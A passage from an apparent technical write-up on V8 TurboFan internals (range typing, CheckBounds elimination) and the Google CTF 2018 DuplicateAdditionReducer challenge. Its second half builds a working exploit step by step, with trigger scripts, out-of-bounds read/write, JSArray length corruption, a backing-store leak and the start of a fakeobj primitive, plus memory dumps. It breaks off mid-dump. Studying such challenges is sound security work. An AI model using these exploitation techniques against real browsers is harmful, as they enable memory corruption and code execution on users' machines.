node->InsertInput(graph()->zone(), 3, argument_count); NodeProperties::ChangeOp(node, common()->Call(call_descriptor)); } // [...] return Changed(node); } Let's quickly check the sea of nodes to indeed observe the addition of the LoadField and the change of opcode of the node #25 (note that it is the same node as before, only the opcode changed). Range types Previously, we encountered various types including the Range type. However, it was always the case of Range(n,n) of size 1. Now let's consider the following code : function opt_me(b) { let x = 10; // [1] x0 = 10 if (b == "foo") x = 5; // [2] x1 = 5 // [3] x2 = phi(x0, x1) let y = x + 2; y = y + 1000; y = y * 2; return y; } So depending on b == "foo" being true or false, x will be either 10 or 5. In SSA form, each variable can be assigned only once. So x0 and x1 will be created for 10 and 5 at lines [1] and [2]. At line [3], the value of x (x2 in SSA) will be either x0 or x1, hence the need of a phi function. The statement x2 = phi(x0,x1) means that x2 can take the value of either x0 or x1. So what about types now? The type of the constant 10 (x0) is Range(10,10) and the range of constant 5 (x1) is Range(5,5). Without surprise, the type of the phi node is the union of the two ranges which is Range(5,10). Let's quickly draw a CFG graph in SSA form with typing. Okay, let's actually check this by reading the code. Type Typer::Visitor::TypePhi(Node* node) { int arity = node->op()->ValueInputCount(); Type type = Operand(node, 0); for (int i = 1; i < arity; ++i) { type = Type::Union(type, Operand(node, i), zone()); } return type; } The code looks exactly as we would expect it to be: simply the union of all of the input types! To understand the typing of the SpeculativeSafeIntegerAdd nodes, we need to go back to the OperationTyper implementation. In the case of SpeculativeSafeIntegerAdd(n,m), TurboFan does an AddRange(n.Min(), n.Max(), m.Min(), m.Max()). Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) { Type result = SpeculativeNumberAdd(lhs, rhs); // If we have a Smi or Int32 feedback, the representation selection will // either truncate or it will check the inputs (i.e., deopt if not int32). // In either case the result will be in the safe integer range, so we // can bake in the type here. This needs to be in sync with // SimplifiedLowering::VisitSpeculativeAdditiveOp. return Type::Intersect(result, cache_->kSafeIntegerOrMinusZero, zone()); } Type OperationTyper::NumberAdd(Type lhs, Type rhs) { // [...] Type type = Type::None(); lhs = Type::Intersect(lhs, Type::PlainNumber(), zone()); rhs = Type::Intersect(rhs, Type::PlainNumber(), zone()); if (!lhs.IsNone() && !rhs.IsNone()) { if (lhs.Is(cache_->kInteger) && rhs.Is(cache_->kInteger)) { type = AddRanger(lhs.Min(), lhs.Max(), rhs.Min(), rhs.Max()); } // [...] return type; } AddRanger is the function that actually computes the min and max bounds of the Range. Type OperationTyper::AddRanger(double lhs_min, double lhs_max, double rhs_min, double rhs_max) { double results[4]; results[0] = lhs_min + rhs_min; results[1] = lhs_min + rhs_max; results[2] = lhs_max + rhs_min; results[3] = lhs_max + rhs_max; // Since none of the inputs can be -0, the result cannot be -0 either. // However, it can be nan (the sum of two infinities of opposite sign). // On the other hand, if none of the "results" above is nan, then the // actual result cannot be nan either. int nans = 0; for (int i = 0; i < 4; ++i) { if (std::isnan(results[i])) ++nans; } if (nans == 4) return Type::NaN(); Type type = Type::Range(array_min(results, 4), array_max(results, 4), zone()); if (nans > 0) type = Type::Union(type, Type::NaN(), zone()); // Examples: // [-inf, -inf] + [+inf, +inf] = NaN // [-inf, -inf] + [n, +inf] = [-inf, -inf] \/ NaN // [-inf, +inf] + [n, +inf] = [-inf, +inf] \/ NaN // [-inf, m] + [n, +inf] = [-inf, +inf] \/ NaN return type; } Done with the range analysis! CheckBounds nodes Our final experiment deals with CheckBounds nodes. Basically, nodes with a CheckBounds opcode add bound checks before loads and stores. Consider the following code : function opt_me(b) { let values = [42,1337]; // HeapConstant <FixedArray[2]> let x = 10; // NumberConstant[10] | Range(10,10) if (b == "foo") x = 5; // NumberConstant[5] | Range(5,5) // Phi | Range(5,10) let y = x + 2; // SpeculativeSafeIntegerAdd | Range(7,12) y = y + 1000; // SpeculativeSafeIntegerAdd | Range(1007,1012) y = y * 2; // SpeculativeNumberMultiply | Range(2014,2024) y = y & 10; // SpeculativeNumberBitwiseAnd | Range(0,10) y = y / 3; // SpeculativeNumberDivide | PlainNumber[r][s][t] y = y & 1; // SpeculativeNumberBitwiseAnd | Range(0,1) return values[y]; // CheckBounds | Range(0,1) } In order to prevent values[y] from using an out of bounds index, a CheckBounds node is generated. Here is what the sea of nodes graph looks like right after the escape analysis phase. The cautious reader probably noticed something interesting about the range analysis. The type of the CheckBounds node is Range(0,1)! And also, the LoadElement has an input FixedArray HeapConstant of length 2. That leads us to an interesting phase: the simplified lowering. Simplified lowering When visiting a node with a IrOpcode::kCheckBounds opcode, the function VisitCheckBounds is going to get called. And this function, is responsible for CheckBounds elimination which sounds interesting! Long story short, it compares inputs 0 (index) and 1 (length). If the index's minimum range value is greater than zero (or equal to) and its maximum range value is less than the length value, it triggers a DeferReplacement which means that the CheckBounds node eventually will be removed! void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) { CheckParameters const& p = CheckParametersOf(node->op()); Type const index_type = TypeOf(node->InputAt(0)); Type const length_type = TypeOf(node->InputAt(1)); if (length_type.Is(Type::Unsigned31())) { if (index_type.Is(Type::Integral32OrMinusZero())) { // Map -0 to 0, and the values in the [-2^31,-1] range to the // [2^31,2^32-1] range, which will be considered out-of-bounds // as well, because the {length_type} is limited to Unsigned31. VisitBinop(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); if (lower()) { if (lowering->poisoning_level_ == PoisoningMitigationLevel::kDontPoison && (index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && index_type.Max() < length_type.Min()))) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. DeferReplacement(node, node->InputAt(0)); } else { NodeProperties::ChangeOp( node, simplified()->CheckedUint32Bounds(p.feedback())); } } // [...] } Once again, let's confirm that by playing with the graph. We want to look at the CheckBounds before the simplified lowering and observe its inputs. We can easily see that Range(0,1).Max() < 2 and Range(0,1).Min() >= 0. Therefore, node 58 is going to be replaced as proven useless by the optimization passes analysis. After simplified lowering, the graph looks like this : Playing with various addition opcodes If you look at the file stopcode.h we can see various types of opcodes that correspond to some kind of add primitive. V(JSAdd) V(NumberAdd) V(SpeculativeNumberAdd) V(SpeculativeSafeIntegerAdd) V(Int32Add) // many more [...] So, without going into too much details we're going to do one more experiment. Let's make small snippets of code that generate each one of these opcodes. For each one, we want to confirm we've got the expected opcode in the sea of node. SpeculativeSafeIntegerAdd let opt_me = (x) => { return x + 1; } for (var i = 0; i < 0x10000; ++i) opt_me(i); %DebugPrint(opt_me); %SystemBreak(); In this case, TurboFan speculates that x will be an integer. This guess is made due to the type feedback we mentioned earlier. Indeed, before kicking out TurboFan, v8 first quickly generates ignition bytecode that gathers type feedback. $ d8 speculative_safeintegeradd.js --allow-natives-syntax --print-bytecode --print-bytecode-filter opt_me [generated bytecode for function: opt_me] Parameter count 2 Frame size 0 13 E> 0xceb2389dc72 @ 0 : a5 StackCheck 24 S> 0xceb2389dc73 @ 1 : 25 02 Ldar a0 33 E> 0xceb2389dc75 @ 3 : 40 01 00 AddSmi [1], [0] 37 S> 0xceb2389dc78 @ 6 : a9 Return Constant pool (size = 0) Handler Table (size = 0) The x + 1 statement is represented by the AddSmi ignition opcode. If you want to know more, Franziska Hinkelmann wrote a blog post about ignition bytecode. Let's read the code to quickly understand the semantics. // Adds an immediate value <imm> to the value in the accumulator. IGNITION_HANDLER(AddSmi, InterpreterBinaryOpAssembler) { BinaryOpSmiWithFeedback(&BinaryOpAssembler::Generate_AddWithFeedback); } This code means that everytime this ignition opcode is executed, it will gather type feedback to to enable TurboFan’s speculative optimizations. We can examine the type feedback vector (which is the structure containing the profiling data) of a function by using %DebugPrint or the job gdb command on a tagged pointer to a FeedbackVector. DebugPrint: 0x129ab460af59: [Function] // [...] - feedback vector: 0x1a5d13f1dd91: [FeedbackVector] in OldSpace // [...] gef➤ job 0x1a5d13f1dd91 0x1a5d13f1dd91: [FeedbackVector] in OldSpace // ... - slot #0 BinaryOp BinaryOp:SignedSmall { // actual type feedback [0]: 1 } Thanks to this profiling, TurboFan knows it can generate a SpeculativeSafeIntegerAdd. This is exactly the reason why it is called speculative optimization (TurboFan makes guesses, assumptions, based on this profiling). However, once optimized, if opt_me is called with a completely different parameter type, there would be a deoptimization. SpeculativeNumberAdd let opt_me = (x) => { return x + 1000000000000; } opt_me(42); %OptimizeFunctionOnNextCall(opt_me); opt_me(4242); If we modify a bit the previous code snippet and use a higher value that can't be represented by a small integer (Smi), we'll get a SpeculativeNumberAdd instead. TurboFan speculates about the type of x and relies on type feedback. Int32Add let opt_me= (x) => { let y = x ? 10 : 20; return y + 100; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); At first, the addition y + 100 relies on speculation. Thus, the opcode SpeculativeSafeIntegerAdd is being used. However, during the simplified lowering phase, TurboFan understands that y + 100 is always going to be an addition between two small 32 bits integers, thus lowering the node to a Int32Add. Before After JSAdd let opt_me = (x) => { let y = x ? ({valueOf() { return 10; }}) : ({[Symbol.toPrimitive]() { return 20; }}); return y + 1; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); In this case, y is a complex object and we need to call a slow JSAdd opcode to deal with this kind of situation. NumberAdd let opt_me = (x) => { let y = x ? 10 : 20; return y + 1000000000000; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); Like for the SpeculativeNumberAdd example, we add a value that can't be represented by an integer. However, this time there is no speculation involved. There is no need for any kind of type feedback since we can guarantee that y is an integer. There is no way to make y anything other than an integer. The DuplicateAdditionReducer challenge The DuplicateAdditionReducer written by Stephen Röttger for Google CTF 2018 is a nice TurboFan challenge that adds a new reducer optimizing cases like x + 1 + 1. Understanding the reduction Let’s read the relevant part of the code. Reduction DuplicateAdditionReducer::Reduce(Node* node) { switch (node->opcode()) { case IrOpcode::kNumberAdd: return ReduceAddition(node); default: return NoChange(); } } Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { DCHECK_EQ(node->op()->ControlInputCount(), 0); DCHECK_EQ(node->op()->EffectInputCount(), 0); DCHECK_EQ(node->op()->ValueInputCount(), 2); Node* left = NodeProperties::GetValueInput(node, 0); if (left->opcode() != node->opcode()) { return NoChange(); // [1] } Node* right = NodeProperties::GetValueInput(node, 1); if (right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); // [2] } Node* parent_left = NodeProperties::GetValueInput(left, 0); Node* parent_right = NodeProperties::GetValueInput(left, 1); if (parent_right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); // [3] } double const1 = OpParameter<double>(right->op()); double const2 = OpParameter<double>(parent_right->op()); Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); NodeProperties::ReplaceValueInput(node, parent_left, 0); NodeProperties::ReplaceValueInput(node, new_const, 1); return Changed(node); // [4] } Basically that means we've got 4 different code paths (read the code comments) when reducing a NumberAdd node. Only one of them leads to a node change. Let's draw a schema representing all of those cases. Nodes in red to indicate they don't satisfy a condition, leading to a return NoChange. The case [4] will take both NumberConstant's double value and add them together. It will create a new NumberConstant node with a value that is the result of this addition. The node's right input will become the newly created NumberConstant while the left input will be replaced by the left parent's left input. Understanding the bug Precision loss with IEEE-754 doubles V8 represents numbers using IEEE-754 doubles. That means it can encode integers using 52 bits. Therefore the maximum value is pow(2,53)-1 which is 9007199254740991. Number above this value can't all be represented. As such, there will be precision loss when computing with values greater than that. A quick experiment in JavaScript can demonstrate this problem where we can get to strange behaviors. d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> x 9007199254740992 d8> x + 1 9007199254740992 d8> 9007199254740993 == 9007199254740992 true d8> x + 2 9007199254740994 d8> x + 3 9007199254740996 d8> x + 4 9007199254740996 d8> x + 5 9007199254740996 d8> x + 6 9007199254740998 Let's try to better understand this. 64 bits IEEE 754 doubles are represented using a 1-bit sign, 11-bit exponent and a 52-bit mantissa. When using the normalized form (exponent is non null), to compute the value, simply follow the following formula. value = (-1)^sign * 2^(e) * fraction e = 2^(exponent - bias) bias = 1024 (for 64 bits doubles) fraction = bit52*2^-0 + bit51*2^-1 + .... bit0*2^52 So let's go through a few computation ourselves. d8> %DumpObjects(Number.MAX_SAFE_INTEGER, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0ddd0 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0ddd8 0x433fffffffffffff d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 1, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0aec0 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0aec8 0x4340000000000000 d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 2, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0de88 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0de90 0x4340000000000001 For each number, we'll have the following computation. You can try the computations using links 1, 2 and 3. As you see, the precision loss is inherent to the way IEEE-754 computations are made. Even though we incremented the binary value, the corresponding real number was not incremented accordingly. It is impossible to represent the value 9007199254740993 using IEEE-754 doubles. That's why it is not possible to increment 9007199254740992. You can however add 2 to 9007199254740992 because the result can be represented! That means that x += 1; x += 1; may not be equivalent to x += 2. And that might be an interesting behaviour to exploit. d8> var x = Number.MAX_SAFE_INTEGER + 1 9007199254740992 d8> x + 1 + 1 9007199254740992 d8> x + 2 9007199254740994 Therefore, those two graphs are not equivalent. Furthermore, the reducer does not update the type of the changed node. That's why it is going to be 'incorrectly' typed with the old Range(9007199254740992,9007199254740992), from the previous Typer phase, instead of Range(9007199254740994,9007199254740994) (even though the problem is that really, we cannot take for granted that there is no precision loss while computing m+n and therefore x += n; x += n; may not be equivalent to x += (n + n)). There is going to be a mismatch between the addition result 9007199254740994 and the range type with maximum value of 9007199254740992. What if we can use this buggy range analysis to get to reduce a CheckBounds node during the simplified lowering phase in a way that it would remove it? It is actually possible to trick the CheckBounds simplified lowering visitor into comparing an incorrect index Range to the length so that it believes that the index is in bounds when in reality it is not. Thus removing what seemed to be a useless bound check. Let's check this by having yet another look at the sea of nodes! First consider the following code. let opt_me = (x) => { let arr = new Array(1.1,1.2,1.3,1.4); arr2 = new Array(42.1,42.0,42.0); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // maximum value : 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1; // 9007199254740992 + 1 + 1 = 9007199254740992 + 1 = 9007199254740992 // replaced by 9007199254740992+2=9007199254740994 because of the incorrect reduction z = z - (4503599627370495*2); // max = 2 vs actual max = 4 return arr[z]; } opt_me(""); %OptimizeFunctionOnNextCall(opt_me); let res = opt_me("foo"); print(res); We do get a graph that looks exactly like the problematic drawing we showed before. Instead of getting two NumberAdd(x,1), we get only one with NumberAdd(x,2), which is not equivalent. The maximum value of z will be the following : d8> var x = 9007199254740992 d8> x = x + 2 // because of the buggy reducer! 9007199254740994 d8> x = x - (4503599627370495*2) 4 However, the index range used when visiting CheckBounds during simplified lowering will be computed as follows : d8> var x = 9007199254740992 d8> x = x + 1 9007199254740992 d8> x = x + 1 9007199254740992 d8> x = x - (4503599627370495*2) 2 Confirm that by looking at the graph. The index type used by CheckBounds is Range(0,2)(but in reality, its value can be up to 4) whereas the length type is Range(4,4). Therefore, the index looks to be always in bounds, making the CheckBounds disappear. In this case, we can load/store 8 or 16 bytes further (length is 4, we read at index 4. You could also have an array of length 3 and read at index 3 or 4.). Actually, if we execute the script, we get some OOB access and leak memory! $ d8 trigger.js --allow-natives-syntax 3.0046854007112e-310 Exploitation Now that we understand the bug, we may want to improve our primitive. For instance, it would be interesting to get the ability to read and write more memory. Improving the primitive One thing to try is to find a value such that the difference between x + n + n and x + m (with m = n + n and x = Number.MAX_SAFE_INTEGER + 1) is big enough. For instance, replacing x + 007199254740989 + 9007199254740966 by x + 9014398509481956 gives us an out of bounds by 4 and not 2 anymore. d8> sum = 007199254740989 + 9007199254740966 x + 9014398509481956 d8> a = x + sum 18021597764222948 d8> b = x + 007199254740989 + 9007199254740966 18021597764222944 d8> a - b 4 And what if we do multiple additions to get even more precision loss? Like x + n + n + n + n to be transformed as x + 4n? d8> var sum = 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966 undefined d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> x + sum 27035996273704904 d8> x + 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966 27035996273704896 d8> 27035996273704904 - 27035996273704896 8 Now we get a delta of 8. Or maybe we could amplify even more the precision loss using other operators? d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> 10 * (x + 1 + 1) 90071992547409920 d8> 10 * (x + 2) 90071992547409940 That gives us a delta of 20 because precision_loss * 10 = 20 and the precision loss is of 2. Step 0 : Corrupting a FixedDoubleArray First, we want to observe the memory layout to know what we are leaking and what we want to overwrite exactly. For that, I simply use my custom %DumpObjects v8 runtime function. Also, I use an ArrayBuffer with two views: one Float64Array and one BigUint64Array to easily convert between 64 bits floats and 64 bits integers. let ab = new ArrayBuffer(8); let fv = new Float64Array(ab); let dv = new BigUint64Array(ab); let f2i = (f) => { fv[0] = f; return dv[0]; } let hexprintablei = (i) => { return (i).toString(16).padStart(16,"0"); } let debug = (x,z, leak) => { print("oob index is " + z); print("length is " + x.length); print("leaked 0x" + hexprintablei(f2i(leak))); %DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements }; let opt_me = (x) => { let arr = new Array(1.1,1.2,1.3); arr2 = new Array(42.1,42.0,42.0); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1; z = z - (4503599627370495*2); let leak = arr[z]; if (x == "foo") debug(arr,z, leak); return leak; } opt_me(""); %OptimizeFunctionOnNextCall(opt_me); let res = opt_me("foo"); That gives the following results : oob index is 4 length is 3 leaked 0x0000000300000000 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00002e5fddf8b6a8 0x00002af7fe681451 MAP_TYPE 0x00002e5fddf8b6b0 0x0000000300000000 0x00002e5fddf8b6b8 0x3ff199999999999a arr[0] 0x00002e5fddf8b6c0 0x3ff3333333333333 arr[1] 0x00002e5fddf8b6c8 0x3ff4cccccccccccd arr[2] ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00002e5fddf8b6d0 0x00002af7fe681451 MAP_TYPE // also arr[3] 0x00002e5fddf8b6d8 0x0000000300000000 arr[4] with OOB index! 0x00002e5fddf8b6e0 0x40450ccccccccccd arr2[0] == 42.1 0x00002e5fddf8b6e8 0x4045000000000000 arr2[1] == 42.0 0x00002e5fddf8b6f0 0x4045000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x00002e5fddf8b6f8 0x0000290fb3502cf1 MAP_TYPE arr2 JSArray 0x00002e5fddf8b700 0x00002af7fe680c19 FIXED_ARRAY_TYPE [as] 0x00002e5fddf8b708 0x00002e5fddf8b6d1 FIXED_DOUBLE_ARRAY_TYPE Obviously, both FixedDoubleArray of arr and arr2 are contiguous. At arr[3] we've got arr2's map and at arr[4] we've got arr2's elements length (encoded as an Smi, which is 32 bits even on 64 bit platforms). Please note that we changed a little bit the trigger code : < let arr = new Array(1.1,1.2,1.3,1.4); --- > let arr = new Array(1.1,1.2,1.3); Otherwise we would read/write the map instead, as demonstrates the following dump : oob index is 4 length is 4 leaked 0x0000057520401451 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x30 ] ----- 0x0000108bcf50b6c0 0x0000057520401451 MAP_TYPE 0x0000108bcf50b6c8 0x0000000400000000 0x0000108bcf50b6d0 0x3ff199999999999a arr[0] == 1.1 0x0000108bcf50b6d8 0x3ff3333333333333 arr[1] 0x0000108bcf50b6e0 0x3ff4cccccccccccd arr[2] 0x0000108bcf50b6e8 0x3ff6666666666666 arr[3] == 1.3 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x0000108bcf50b6f0 0x0000057520401451 MAP_TYPE arr[4] with OOB index! 0x0000108bcf50b6f8 0x0000000300000000 0x0000108bcf50b700 0x40450ccccccccccd 0x0000108bcf50b708 0x4045000000000000 0x0000108bcf50b710 0x4045000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000108bcf50b718 0x00001dd08d482cf1 MAP_TYPE 0x0000108bcf50b720 0x0000057520400c19 FIXED_ARRAY_TYPE Step 1 : Corrupting a JSArray and leaking an ArrayBuffer's backing store The problem with step 0 is that we merely overwrite the FixedDoubleArray's length ... which is pretty useless because it is not the field actually controlling the JSArray’s length the way we expect it, it just gives information about the memory allocated for the fixed array. Actually, the only length we want to corrupt is the one from the JSArray. Indeed, the length of the JSArray is not necessarily the same as the length of the underlying FixedArray (or FixedDoubleArray). Let's quickly check that. d8> let a = new Array(0); undefined d8> a.push(1); 1 d8> %DebugPrint(a) DebugPrint: 0xd893a90aed1: [JSArray] - map: 0x18bbbe002ca1 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x1cf26798fdb1 <JSArray[0]> - elements: 0x0d893a90d1c9 <FixedArray[17]> [HOLEY_SMI_ELEMENTS] - length: 1 - properties: 0x367210500c19 <FixedArray[0]> { #length: 0x0091daa801a1 <AccessorInfo> (const accessor descriptor) } - elements: 0x0d893a90d1c9 <FixedArray[17]> { 0: 1 1-16: 0x3672105005a9 <the_hole> } In this case, even though the length of the JSArray is 1, the underlying FixedArray as a length of 17, which is just fine! But that is something that you want to keep in mind. If you want to get an OOB R/W primitive that's the JSArray's length that you want to overwrite. Also if you were to have an out-of-bounds access on such an array, you may want to check that the size of the underlying fixed array is not too big. So, let's tweak a bit our code to target the JSArray's length! If you look at the memory dump, you may think that having the allocated JSArray before the FixedDoubleArray mightbe convenient, right? Right now the layout is: FIXED_DOUBLE_ARRAY_TYPE FIXED_DOUBLE_ARRAY_TYPE JS_ARRAY_TYPE Let's simply change the way we are allocating the second array. 23c23 < arr2 = new Array(42.1,42.0,42.0); --- > arr2 = Array.of(42.1,42.0,42.0); Now we have the following layout FIXED_DOUBLE_ARRAY_TYPE JS_ARRAY_TYPE FIXED_DOUBLE_ARRAY_TYPE oob index is 4 length is 3 leaked 0x000009d6e6600c19 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x000032adcd10b6b8 0x000009d6e6601451 MAP_TYPE 0x000032adcd10b6c0 0x0000000300000000 0x000032adcd10b6c8 0x3ff199999999999a arr[0] 0x000032adcd10b6d0 0x3ff3333333333333 arr[1] 0x000032adcd10b6d8 0x3ff4cccccccccccd arr[2] ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x000032adcd10b6e0 0x000009b41ff82d41 MAP_TYPE map arr[3] 0x000032adcd10b6e8 0x000009d6e6600c19 FIXED_ARRAY_TYPE properties arr[4] 0x000032adcd10b6f0 0x000032adcd10b729 FIXED_DOUBLE_ARRAY_TYPE elements 0x000032adcd10b6f8 0x0000000300000000 Cool, now we are able to access the JSArray instead of the FixedDoubleArray. However, we're accessing its properties field. Thanks to the precision loss when transforming +1+1 into +2 we get a difference of 2 between the computations. If we get a difference of 4, we'll be at the right offset. Transforming +1+1+1 into +3 will give us this! d8> x + 1 + 1 + 1 9007199254740992 d8> x + 3 9007199254740996 26c26 < z = z + 1 + 1; --- > z = z + 1 + 1 + 1; Now we are able to read/write the JSArray's length. oob index is 6 length is 3 leaked 0x0000000300000000 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x000004144950b6e0 0x00001b7451b01451 MAP_TYPE 0x000004144950b6e8 0x0000000300000000 0x000004144950b6f0 0x3ff199999999999a // arr[0] 0x000004144950b6f8 0x3ff3333333333333 0x000004144950b700 0x3ff4cccccccccccd ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x000004144950b708 0x0000285651602d41 MAP_TYPE 0x000004144950b710 0x00001b7451b00c19 FIXED_ARRAY_TYPE 0x000004144950b718 0x000004144950b751 FIXED_DOUBLE_ARRAY_TYPE 0x000004144950b720 0x0000000300000000 // arr[6] Now to leak the ArrayBuffer's data, it's very easy. Just allocate it right after the second JSArray. let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays ab = new ArrayBuffer(AB_LENGTH); This way, we get the following memory layout : ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00003a4d7608bb48 0x000023fe25c01451 MAP_TYPE 0x00003a4d7608bb50 0x0000000300000000 0x00003a4d7608bb58 0x3ff199999999999a arr[0] 0x00003a4d7608bb60 0x3ff199999999999a 0x00003a4d7608bb68 0x3ff199999999999a ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x00003a4d7608bb70 0x000034dc44482d41 MAP_TYPE 0x00003a4d7608bb78 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bb80 0x00003a4d7608bba9 FIXED_DOUBLE_ARRAY_TYPE 0x00003a4d7608bb88 0x0000006400000000 ----- [ FIXED_ARRAY_TYPE : 0x18 ] ----- 0x00003a4d7608bb90 0x000023fe25c007a9 MAP_TYPE 0x00003a4d7608bb98 0x0000000100000000 0x00003a4d7608bba0 0x000023fe25c005a9 ODDBALL_TYPE ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] ----- 0x00003a4d7608bba8 0x000023fe25c01451 MAP_TYPE 0x00003a4d7608bbb0 0x0000000100000000 0x00003a4d7608bbb8 0x3ff3333333333333 arr2[0] ----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] ----- 0x00003a4d7608bbc0 0x000034dc444821b1 MAP_TYPE 0x00003a4d7608bbc8 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bbd0 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bbd8 0x0000000000000100 0x00003a4d7608bbe0 0x0000556b8fdaea00 ab's backing_store pointer! 0x00003a4d7608bbe8 0x0000000000000002 0x00003a4d7608bbf0 0x0000000000000000 0x00003a4d7608bbf8 0x0000000000000000 We can simply use the corrupted JSArray (arr2) to read the ArrayBuffer (ab). This will be useful later because memory pointed to by the backing_store is fully controlled by us, as we can put arbitrary data in it, through a data view (like a Uint32Array). Now that we know a pointer to some fully controlled content, let's go to step 2! Step 2 : Getting a fake object Arrays of PACKED_ELEMENTS can contain tagged pointers to JavaScript objects. For those unfamiliar with v8, the elements kind of a JsArray in v8 gives information about the type of elements it is storing. Read this if you want to know more about elements kind. d8> var objects = new Array(new Object()) d8> %DebugPrint(objects) DebugPrint: 0xd79e750aee9: [JSArray] - elements: 0x0d79e750af19 <FixedArray[1]> { 0: 0x0d79e750aeb1 <Object map = 0x19c550d80451> } 0x19c550d82d91: [Map] - elements kind: PACKED_ELEMENTS Therefore if you can corrupt the content of an array of PACKED_ELEMENTS, you can put in a pointer to a crafted object. This is basically the idea behind the fakeobj primitive. The idea is to simply put the address backing_store+1 in this array (the original pointer is not tagged, v8 expect pointers to JavaScript objects to be tagged). Let's first simply write the value 0x4141414141 in the controlled memory. Indeed, we know that the very first field of any object is a a pointer to a map (long story short, the map is the object that describes the type of the object. Other engines call it a Shape or a Structure. If you want to know more, just read the previous post on SpiderMonkey or this blog post). Therefore, if v8 indeed considers our pointer as an object pointer, when trying to use it, we should expect a crash when dereferencing the map. Achieving this is as easy as allocating an array with an object pointer, looking for the index to the object pointer, and replacing it by the (tagged) pointer to the previously leaked backing_store. let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays evil_ab = new ArrayBuffer(AB_LENGTH); packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI); Quickly check the memory layout. ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x0000220f2ec82410 0x0000353622a01451 MAP_TYPE 0x0000220f2ec82418 0x0000000300000000 0x0000220f2ec82420 0x3ff199999999999a 0x0000220f2ec82428 0x3ff199999999999a 0x0000220f2ec82430 0x3ff199999999999a ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000220f2ec82438 0x0000261a44682d41 MAP_TYPE 0x0000220f2ec82440 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec82448 0x0000220f2ec82471 FIXED_DOUBLE_ARRAY_TYPE 0x0000220f2ec82450 0x0000006400000000 ----- [ FIXED_ARRAY_TYPE : 0x18 ] ----- 0x0000220f2ec82458 0x0000353622a007a9 MAP_TYPE 0x0000220f2ec82460 0x0000000100000000 0x0000220f2ec82468 0x0000353622a005a9 ODDBALL_TYPE ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] ----- 0x0000220f2ec82470 0x0000353622a01451 MAP_TYPE 0x0000220f2ec82478 0x0000000100000000 0x0000220f2ec82480 0x3ff3333333333333 ----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] ----- 0x0000220f2ec82488 0x0000261a446821b1 MAP_TYPE 0x0000220f2ec82490 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec82498 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec824a0 0x0000000000000100 0x0000220f2ec824a8 0x00005599e4b21f40 0x0000220f2ec824b0 0x0000000000000002 0x0000220f2ec824b8 0x0000000000000000 0x0000220f2ec824c0 0x0000000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000220f2ec824c8 0x0000261a44682de1 MAP_TYPE 0x0000220f2ec824d0 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec824d8 0x0000220f2ec824e9 FIXED_ARRAY_TYPE 0x0000220f2ec824e0 0x0000000300000000 ----- [ FIXED_ARRAY_TYPE : 0x28 ] ----- 0x0000220f2ec824e8 0x0000353622a007a9 